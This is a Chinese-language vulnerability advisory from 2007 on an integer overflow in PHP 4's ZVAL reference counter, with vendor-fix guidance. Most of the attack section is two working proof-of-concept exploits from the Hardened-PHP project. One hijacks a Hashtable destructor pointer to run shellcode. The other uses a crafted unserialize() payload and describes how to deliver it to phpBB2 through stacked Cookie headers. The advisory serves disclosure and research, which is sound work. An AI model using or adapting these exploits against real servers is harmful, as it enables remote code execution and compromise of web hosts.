首页 -> 安全研究
安全研究
安全漏洞
PHP ZVAL引用计数器整数溢出漏洞
发布日期:2007-03-01
更新日期:2007-03-06
受影响系统:
PHP PHP 4描述:
BUGTRAQ ID: 22765
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的ZVAL结构中引用计数实现上存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
在PHP 4中内部描述变量的ZVAL结构类似于:
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uchar type; /* active type */
zend_uchar is_ref;
zend_ushort refcount;
};
在设计这个结构时引用计数器为16位宽,这样在32位系统上整个结构为8个字节长;在PHP 5中这个字段为32位宽,因为16位太容易溢出,PHP对引用计数器的溢出也没有内部的防范措施。但对于PHP 4这意味着以下代码会溢出计数器,在脚本端触发变量的双重释放:
$var = "POC";
for ($i = 0; $i < 0x10001; $i++) {
$arr[] = &$var;
}
攻击者可以利用这个漏洞破坏内存,可能执行任意指令,从而绕过disable_functions之类的安全限制。
此外由于很多老版本PHP应用程序仍对用户提供的数据使用unserialize(),因此也可能远程触发这个漏洞。Unserialize()函数以不安全的方式使用已还原序列化的__wakeup()方式,可能导致远程执行任意指令。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/MOPB/MOPB-01-2007.html
http://secunia.com/advisories/24356/
http://www.php-security.org/MOPB/MOPB-04-2007.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 - ZVAL Reference Counter Overflow //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// You can put in any shellcode you want. Just make sure that the
// shellcode string is long enough to not end up in PHP's internal
// memory cache
$shellcode = str_repeat(chr(0xcc), 500);
// The basic idea of this exploit is:
// 1) Create a string that has the same size as a Hashtable
// 2) Create 65536 references to it to overflow the refcount
// 3) Free one of these references
// => Refcount drops down to 0
// => String gets freed
// 4) Free some more zvals
// 5) Create a new array with one element
// => Put shellcode in the key
// => Hashtable struct will be in the same place as the string
// 6) Use string to directly access the content of the Hashtable
// => Read pointer to first bucket
// => Add 32 bytes, offset to array key
// => Write pointer to the destructor field
// 7) Unset array => Executes code in $shellcode
////////////////////////////////////////////////////////////////////////
// If you touch anything below this line you have to debug it yourself
////////////////////////////////////////////////////////////////////////
$________________________str = str_repeat("A", 39);
$________________________yyy = &$________________________str;
$________________________xxx = &$________________________str;
for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
$________________________aaa = " XXXXX ";
$________________________aab = " XXXx.xXXX ";
$________________________aac = " XXXx.xXXX ";
$________________________aad = " XXXXX ";
unset($________________________xxx);
unset($________________________aaa);
unset($________________________aab);
unset($________________________aac);
unset($________________________aad);
$arr = array($shellcode => 1);
$addr = unpack("L", substr($________________________str, 6*4, 4));
$addr = $addr[1] + 32;
$addr = pack("L", $addr);
for ($i=0; $i<strlen($addr); $i++) {
$________________________str[8*4+$i] = $addr[$i];
$________________________yyy[8*4+$i] = $addr[$i];
}
unset($arr);
?>
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 - unserialize() Reference Counter Overflow //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// This exploit is only designed for linux x86 systems
// where 0x08064058 is a readable address in the PHP process
// (should be unless binary images are relocated default systems)
//
// The exploit does nothing useful. It just proves that the CPU
// will try to execute the instruction at 0x99887766 which results
// in a crash. Just replace it with a pointer to your shellcode and
// it will work.
//
// To exploit phpBB2 with this you need to put a similar string
// into the cookie. You must work around the size limit of HTTP
// headers by using MANY Cookie: headers (not folded lines, real
// headers). Additionally you must put at the end of ever line
// a line terminator s:2:" and start every following line with
// ";N; of course with URL encoded ';'
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:3342
严重程度:0(网友投票)
绿盟科技给您安全的保障